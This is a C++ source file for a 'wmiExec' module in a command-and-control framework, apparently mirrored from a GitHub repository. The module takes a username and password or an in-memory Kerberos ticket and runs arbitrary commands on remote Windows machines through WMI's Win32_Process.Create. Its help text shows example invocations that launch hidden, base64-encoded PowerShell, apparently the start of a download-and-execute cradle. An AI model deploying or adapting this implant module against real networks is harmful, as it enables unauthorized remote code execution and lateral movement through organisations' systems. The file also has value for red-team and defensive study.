mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
kali
554 lines
14 KiB
C++
554 lines
14 KiB
C++
#include "WmiExec.hpp"
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#include <cstring>
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#include <algorithm>
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#include "Tools.hpp"
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#include "Common.hpp"
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#ifdef __linux__
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#elif _WIN32
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#include <windows.h>
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#include <comdef.h>
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#include <wbemidl.h>
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#pragma comment(lib, "wbemuuid.lib")
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#endif
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using namespace std;
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#ifdef __linux__
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#elif _WIN32
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#endif
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const std::string moduleName = "wmiExec";
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#ifdef _WIN32
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__declspec(dllexport) WmiExec* WmiExecConstructor()
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{
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return new WmiExec();
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}
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#endif
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WmiExec::WmiExec()
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: ModuleCmd(moduleName)
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{
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}
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WmiExec::~WmiExec()
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{
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}
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std::string WmiExec::getInfo()
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{
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std::string info;
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info += "WmiExec:\n";
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info += "Execute a command through Windows Management Instrumentation (WMI). \n";
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info += "The user have to be administrator of the remote machine. \n";
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info += "Can be use with credentials or with kerberos authentication. \n";
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info += "To use with kerberos, the ticket must be in memory (use Rubeus). \n";
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info += "exemple:\n";
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info += "- wmiExec -u DOMAIN\\Username Password target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n";
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info += "- wmiExec -k DOMAIN\\dc target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n";
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return info;
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}
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int WmiExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
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{
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if (splitedCmd.size() >= 5)
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{
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string mode = splitedCmd[1];
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if(mode=="-u")
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{
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string usernameDomain=splitedCmd[2];
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string password=splitedCmd[3];
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string target=splitedCmd[4];
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std::string username="";
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std::string domain=".";
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std::vector<std::string> splitedList;
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splitList(usernameDomain, "\\", splitedList);
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if(splitedList.size()==1)
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username = splitedList[0];
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else if(splitedList.size()>1)
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{
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domain = splitedList[0];
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username = splitedList[1];
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}
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std::string cmd = domain;
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cmd += "\0";
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cmd += username;
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cmd += "\0";
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cmd += password;
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cmd += "\0";
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cmd += target;
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c2Message.set_cmd(cmd);
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std::string programToLaunch="";
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for (int idx = 5; idx < splitedCmd.size(); idx++)
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{
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if(!programToLaunch.empty())
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programToLaunch+=" ";
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programToLaunch+=splitedCmd[idx];
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}
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c2Message.set_data(programToLaunch.data(), programToLaunch.size());
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}
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else if(mode=="-k")
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{
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string dcDomain=splitedCmd[2];
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string target=splitedCmd[3];
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std::string dc="";
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std::string domain=".";
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std::vector<std::string> splitedList;
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splitList(dcDomain, "\\", splitedList);
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if(splitedList.size()==1)
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dc = splitedList[0];
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else if(splitedList.size()>1)
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{
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domain = splitedList[0];
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dc = splitedList[1];
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}
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std::string cmd = domain;
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cmd += "\0";
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cmd += dc;
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cmd += "\0";
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cmd += target;
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c2Message.set_cmd(cmd);
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std::string programToLaunch="";
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for (int idx = 4; idx < splitedCmd.size(); idx++)
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{
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if(!programToLaunch.empty())
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programToLaunch+=" ";
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programToLaunch+=splitedCmd[idx];
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}
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c2Message.set_data(programToLaunch.data(), programToLaunch.size());
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}
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else
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{
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c2Message.set_returnvalue(getInfo());
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return -1;
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}
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c2Message.set_instruction(splitedCmd[0]);
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}
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else
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{
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c2Message.set_returnvalue(getInfo());
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return -1;
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}
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#ifdef __linux__
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#elif _WIN32
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#endif
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return 0;
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}
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// https://learn.microsoft.com/en-us/windows/win32/wmisdk/example--calling-a-provider-method
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// https://vimalshekar.github.io/codesamples/Launching-a-process-on-remote-machine
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int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage)
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{
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std::string cmd = c2Message.cmd();
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std::vector<std::string> splitedList;
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splitList(cmd, "\0", splitedList);
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bool useToken=false;
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std::string authority="";
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bool useNTLM=false;
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std::string target="";
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std::string domainName="";
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std::string userName="";
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std::string user="";
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std::string password="";
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if(splitedList.size()==4)
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{
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useNTLM=true;
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useToken=false;
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domainName=splitedList[0];
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userName=splitedList[1];
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password=splitedList[2];
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target=splitedList[3];
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user=domainName;
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user+="\\";
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user+=userName;
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}
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else if(splitedList.size()==3)
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{
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useNTLM=false;
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useToken=true;
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domainName=splitedList[0];
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std::string dc=splitedList[1];
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target=splitedList[2];
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authority="kerberos:";
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authority+=domainName;
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authority+="\\";
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authority+=dc;
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}
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else
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{
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}
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const std::string data = c2Message.data();
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std::string result;
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#ifdef _WIN32
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HRESULT hres;
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hres = CoInitializeEx(0, COINIT_MULTITHREADED);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "CoInitializeEx Failed: ";
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result += errMsg;
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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hres = CoInitializeSecurity(
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NULL,
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-1, // COM negotiates service
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NULL, // Authentication services
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NULL, // Reserved
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RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
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RPC_C_IMP_LEVEL_IDENTIFY, // Default Impersonation
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NULL, // Authentication info
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EOAC_NONE, // Additional capabilities
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NULL // Reserved
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);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "CoInitializeSecurity Failed: ";
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result += errMsg;
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CoUninitialize();
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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IWbemLocator * pLoc = NULL;
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hres = CoCreateInstance(
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CLSID_WbemLocator,
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0,
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CLSCTX_INPROC_SERVER,
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IID_IWbemLocator,
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(LPVOID *) &pLoc);
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if (FAILED(hres))
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{
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result += "CoCreateInstance Failed: ";
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result += std::to_string(GetLastError());
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CoUninitialize();
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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std::string wmiPath="\\\\";
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wmiPath+=target;
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wmiPath+="\\root\\CIMV2";
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IWbemServices * pSvc = NULL;
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hres = pLoc->ConnectServer(_bstr_t(wmiPath.c_str()),
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_bstr_t(useToken?NULL:user.c_str()), // User name
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_bstr_t(useToken?NULL:password.c_str()), // Password
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NULL, // Locale
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0L, // Security flags
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_bstr_t(useNTLM?NULL:authority.c_str()), // Authority, server principal name
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0, // WBEM context
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&pSvc); // Namespace
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "ConnectServer Failed: ";
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result += errMsg;
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pLoc->Release();
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CoUninitialize();
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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// https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cosetproxyblanket
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SEC_WINNT_AUTH_IDENTITY_A* pAuthIdentity = NULL;
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if(useNTLM)
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{
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pAuthIdentity = new SEC_WINNT_AUTH_IDENTITY_A;
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ZeroMemory(pAuthIdentity, sizeof(SEC_WINNT_AUTH_IDENTITY_A));
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pAuthIdentity->User = (unsigned char *)userName.data();
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pAuthIdentity->UserLength = userName.size();
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pAuthIdentity->Domain = (unsigned char *)domainName.data();
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pAuthIdentity->DomainLength = domainName.size();
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pAuthIdentity->Password = (unsigned char *)password.data();
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pAuthIdentity->PasswordLength = password.size();
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pAuthIdentity->Flags = SEC_WINNT_AUTH_IDENTITY_ANSI;
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}
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hres = CoSetProxyBlanket(
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pSvc, // Indicates the proxy to set
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RPC_C_AUTHN_DEFAULT, // RPC_C_AUTHN_xxx
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RPC_C_AUTHZ_DEFAULT, // RPC_C_AUTHZ_xxx
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COLE_DEFAULT_PRINCIPAL, // Server principal name
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RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL_xxx
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RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
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pAuthIdentity, // client identity
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EOAC_NONE // proxy capabilities
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);
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if(useNTLM)
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{
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delete pAuthIdentity;
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}
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "CoSetProxyBlanket Failed: ";
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result += errMsg;
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pSvc->Release();
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pLoc->Release();
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CoUninitialize();
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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BSTR MethodName = SysAllocString(L"Create");
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BSTR ClassName = SysAllocString(L"Win32_Process");
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IWbemClassObject* pClass = NULL;
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hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL);
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if (FAILED(hres))
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{
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result += "GetObject Failed: ";
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result += std::to_string((long)(hres));
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pLoc->Release();
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CoUninitialize();
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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IWbemClassObject* pInParamsDefinition = NULL;
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hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "GetMethod Failed: ";
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result += errMsg;
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pLoc->Release();
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CoUninitialize();
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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IWbemClassObject* pClassInstance = NULL;
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hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "SpawnInstance Failed: ";
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result += errMsg;
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pLoc->Release();
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CoUninitialize();
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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VARIANT varCommand;
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varCommand.vt = VT_BSTR;
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varCommand.bstrVal = _bstr_t(data.c_str());
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hres = pClassInstance->Put(L"CommandLine", 0, &varCommand, 0);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "Put Failed: ";
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result += errMsg;
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pLoc->Release();
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CoUninitialize();
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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IWbemClassObject* pOutParams = NULL;
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hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL);
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if (FAILED(hres))
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{
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_com_error err(hres);
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LPCTSTR errMsg = err.ErrorMessage();
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result += "CoSetProxyBlanket Failed: ";
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result += errMsg;
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VariantClear(&varCommand);
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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pClass->Release();
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pClassInstance->Release();
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pInParamsDefinition->Release();
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pOutParams->Release();
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pSvc->Release();
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pLoc->Release();
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CoUninitialize();
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c2RetMessage.set_instruction(m_name);
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cmd += " ";
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cmd += data;
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 1;
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}
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VARIANT varReturnValue;
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hres = pOutParams->Get(_bstr_t(L"ReturnValue"), 0, &varReturnValue, NULL, 0);
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// TODO print output ?
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// Cleanup
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VariantClear(&varCommand);
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VariantClear(&varReturnValue);
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SysFreeString(ClassName);
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SysFreeString(MethodName);
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pClass->Release();
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pClassInstance->Release();
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pInParamsDefinition->Release();
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pOutParams->Release();
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pLoc->Release();
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pSvc->Release();
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CoUninitialize();
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#elif __linux__
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result += "WmiExec don't work in linux.\n";
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#endif
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result += "Success.\n";
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cmd += " ";
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cmd += data;
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c2RetMessage.set_instruction(m_name);
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(result);
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return 0;
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}
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#ifdef _WIN32
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#endif
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